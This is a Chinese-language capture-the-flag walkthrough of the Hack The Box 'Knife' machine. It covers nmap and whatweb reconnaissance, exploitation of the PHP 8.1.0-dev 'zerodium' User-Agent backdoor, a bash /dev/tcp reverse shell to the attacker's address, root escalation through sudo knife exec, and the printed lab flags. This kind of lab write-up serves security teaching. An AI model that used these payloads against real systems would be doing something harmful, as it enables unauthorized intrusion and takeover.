

Knife(完成),PHP 8.1.0-dev漏洞,knife提權

```
—# nmap -sCV -p 22,80 -A 10.10.10.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 05:57 PDT
Nmap scan report for 10.10.10.242
Host is up (0.21s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256  bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256  1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Emergent Medical Idea
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 -
5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera
(Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 5.0 - 5.5 (94%), ASUS RT-
N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   240.05 ms 10.10.14.1
2   240.56 ms 10.10.10.242

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.61 seconds
```

有網站，但爆破都沒東西，
php爆破有沒東西。

由php 8.1.0 語言寫的，發現有漏洞

```
Kali Linux 2023
root@kali: ~
root@kali: ~ x root@kali: ~ x root@kali: ~ x
(root@kali)~[~]
# whatweb -a 10.10.10.242
Error in processing commandline options - Agression level must be 1,3, or 4. 10.10.10.242 is invalid. / Patients / Hospital / Providers / E-MSO

(root@kali)~[~]
# whatweb -a3 10.10.10.242 -v
WhatWeb report for http://10.10.10.242
Status : 200 OK
Title : Emergent Medical Idea
IP : 10.10.10.242
Country : RESERVED, ZZ

Summary : Apache[2.4.41], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], PHP[8.1.0-dev], Script, X-Powered-By[PHP/8.1.0-dev]

Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating

OpenEMR 2.8.1 - 'srcdir' Multiple Remote File Inclusions | php/webapps/2727.txt
OpenNetAdmin 19.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
OpenX 2.8.10 - 'plugin-index.php' Cross-Site Scripting | php/webapps/37938.txt
OpenX 2.8.10 - Multiple Vulnerabilities | php/webapps/26624.txt
OPNsense < 19.1.1 - Cross-Site Scripting | php/webapps/46351.txt
OwnCloud 8.1.8 - Username Disclosure | php/webapps/47745.txt
PHP 8.1.0-dev - 'User-Agent' Remote Code Execution | php/webapps/49933.py
PHP Project Management 0.0.10 - Multiple Local/Remote File Inclusions | php/webapps/4549.txt
PHP-Nuke 7.0/9.1/9.1.35 - Wormable Remote Code Execution | php/webapps/12510.php
PHP-Nuke 8.1 SEO Arabic - Remote File Inclusion | windows_x86/webapps/14628.txt
PHP-Nuke 8.1.0.3.5b (Your_Account Module) - Blind SQL Injection (Benchmark Mode) | php/webapps/14320.pl
PHP-Nuke 8.1.0.3.5b - 'Downloads' Blind SQL Injection | php/webapps/18148.pl
PHP-Nuke 8.1.0.3.5b - Remote Command Execution | php/webapps/14319.pl
phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit | php/webapps/51799.php
phpList 2.8.11 - SQL Injection | php/webapps/13781.txt
phpList 2.8.12 - Admin Page SQL Injection | php/webapps/26045.txt
phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification | php/webapps/15699.txt
phpMyAdmin 2.8.1 - Set Theme Cross-Site Scripting | php/webapps/27435.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | php/webapps/44928.txt
```

反彈成功

```
(root@kali)~[~]
# python3 49933.py
Enter the full host url:
http://10.10.10.242

Interactive shell is opened on http://10.10.10.242
Can't access tty; job control turned off.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)

$ whoami
james
```

user flag

```
$ cat /home/james/user.txt
0250bffc34b6076dc4a75bb9022cec55d
```

提權

```
$ sudo -l
Matching Defaults entries for james on knife:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
  (root) NOPASSWD: /usr/bin/knife
```

參考：<https://gtfobins.github.io/gtfobins/knife/#sudo>

提權失敗

```
$ sudo knife exec -E 'exec "/bin/sh"'
No input file specified.

$ sudo knife exec -E 'exec "/bin/bash"'
No input file specified.

$ sudo knife exec -E 'exec "cat /root/root.txt:'
No input file specified.
```

因為一直提權失敗(可能反彈沒弄好)，重新針對漏洞進行反彈，
依照腳本看起來要修改封包黨

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET / HTTP/1.1			1	HTTP/1.1 200 OK		
2	Host: 10.10.10.242			2	Date: Sun, 19 May 2024 13:55:36 GMT		
3	User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0			3	Server: Apache/2.4.41 (Ubuntu)		
4	User-Agent: zerodium system('id');			4	X-Powered-By: PHP/8.1.0-dev		
5	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8			5	Vary: Accept-Encoding		
6	Accept-Language: zh-TW			6	Content-Length: 5866		
7	Accept-Encoding: gzip, deflate, br			7	Connection: close		
8	Connection: close			8	Content-Type: text/html; charset=UTF-8		
9	Upgrade-Insecure-Requests: 1			9			
10				10	uid=1000(james) gid=1000(james) groups=1000(james)		
11				11	<!DOCTYPE html>		
12				12	<html lang="en" >		
13				13			
14				14	<head>		
15				15			

執行成功

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET / HTTP/1.1			1	HTTP/1.1 200 OK		
2	Host: 10.10.10.242			2	Date: Sun, 19 May 2024 13:49:34 GMT		
3	User-Agent: zerodium system('id');			3	Server: Apache/2.4.41 (Ubuntu)		
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8			4	X-Powered-By: PHP/8.1.0-dev		
5	Accept-Language: zh-TW			5	Vary: Accept-Encoding		
6	Accept-Encoding: gzip, deflate, br			6	Content-Length: 5866		
7	Connection: close			7	Connection: close		
8	Upgrade-Insecure-Requests: 1			8	Content-Type: text/html; charset=UTF-8		
9				9			
10				10	uid=1000(james) gid=1000(james) groups=1000(james)		
				11	<!DOCTYPE html>		
				12	<html lang="en" >		
				13			
				14	<head>		
				15			
				16	<meta charset="UTF-8">		

進行反彈(成功)

The screenshot shows a web browser window displaying a request log. The log entry for the reverse shell is highlighted in blue. The terminal window on the right shows the connection details and the execution of the reverse shell command.

```
Request
Pretty Raw Hex
1 GET / HTTP/1.1
2 Host: 10.10.10.242
3 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
4 User-Agent: zerodium system('bash -c "bash -i >& /dev/tcp/10.10.14.2/9200 0>&1"');
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: zh-TW
7 Accept-Encoding: gzip, deflate, br
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10
11
```

```
uid=0(root) gid=0(root) groups=0(root)
(root@kali)~#
#
(root@kali)~# nc -lnvp 9200
listening on [any] 9200 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.242] 59686
bash: cannot set terminal process group (1023): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ id
id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:/$ whoami
james
james@knife:/$
```

回到前面提權(成功)

The screenshot shows a terminal window where the user 'james' is running a series of commands to execute a reverse shell and gain root access. The output shows the user is now 'root'.

```
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
sudo knife exec -E 'exec "/bin/sh"'
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

root flag

The screenshot shows a terminal window where the user 'james' is running the command 'cat root.txt' to retrieve the root flag. The output is a long alphanumeric string.

```
cat root.txt
a80e615979c6c63336323e20781bc0b6
```